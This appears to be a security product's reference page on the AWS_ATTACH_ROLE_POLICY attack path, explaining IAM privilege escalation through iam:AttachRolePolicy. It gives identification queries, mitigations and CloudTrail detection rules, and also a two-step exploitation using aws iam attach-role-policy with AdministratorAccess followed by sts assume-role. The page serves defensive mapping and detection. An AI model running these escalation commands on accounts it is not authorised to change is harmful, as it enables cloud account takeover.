AWS_ATTACH_ROLE_POLICY

Copy page

Summary


Forestall ACL Alias	AWS_ATTACH_ROLE_POLICY
Edge Type	Attack Path
Affected Object Types	IAM Users, IAM Roles, IAM Groups
Exploitation Certainty	High
AWS IAM Action	`iam:AttachRolePolicy` on the target role

Description

A principal with iam:AttachRolePolicy can attach any managed policy to a target IAM role. That covers customer-managed and AWS-managed policies, including AdministratorAccess.

Once the policy is on the role, the attacker assumes the role, or gets a service or instance to assume it, and inherits whatever the role now grants.

A role that holds iam:AttachRolePolicy scoped to itself can escalate its own permissions.

The edge is (Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_ATTACH_ROLE_POLICY]-> (TargetRole:AWSRole).

There is no precondition. Any role in the account that matches the resource ARN pattern is a valid target.

Identification

# List principals with iam:AttachRolePolicy
aws iam get-account-authorization-details \
  --filter User Role Group LocalManagedPolicy AWSManagedPolicy \
  --query "UserDetailList[?AttachedManagedPolicies[?contains(PolicyName, 'AttachRolePolicy')]].[UserName]"

# Simulate privilege check
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:AttachRolePolicy \
  --resource-arns "arn:aws:iam::*:role/*"

PowerShell (AWS Tools):

Get-IAMAccountAuthorizationDetail -Filter Role | ForEach-Object {
    $_.AttachedManagedPolicies | Where-Object { $_.PolicyName -match "AttachRolePolicy" }
}

Exploitation

# Step 1: Attach AdministratorAccess to the target role
aws iam attach-role-policy \
  --role-name <target-role> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Step 2: Assume the now-escalated role
aws sts assume-role \
  --role-arn arn:aws:iam::<account-id>:role/<target-role> \
  --role-session-name escalation-session

Mitigation

Restrict iam:AttachRolePolicy to dedicated IAM administrators. Deny it for service roles and instance profiles.
Use permission boundaries to cap what any role can do, whatever policy gets attached.
Apply SCPs to block attachment of Tier-0 policies like AdministratorAccess and IAMFullAccess outside approved admin pipelines.
Audit role trust policies so no unintended principal can assume a high-privilege role.

Detection

CloudTrail Event	Description	Key Fields
`AttachRolePolicy`	A managed policy was attached to a role	`requestParameters.roleName`, `requestParameters.policyArn`, `userIdentity.arn`
`AssumeRole`	A role was assumed after being escalated	`requestParameters.roleArn`, `userIdentity.arn`

Alert on AttachRolePolicy where policyArn is a Tier-0 policy, or where the same principal shows up in both AttachRolePolicy and a later AssumeRole for the same role.

Ask AI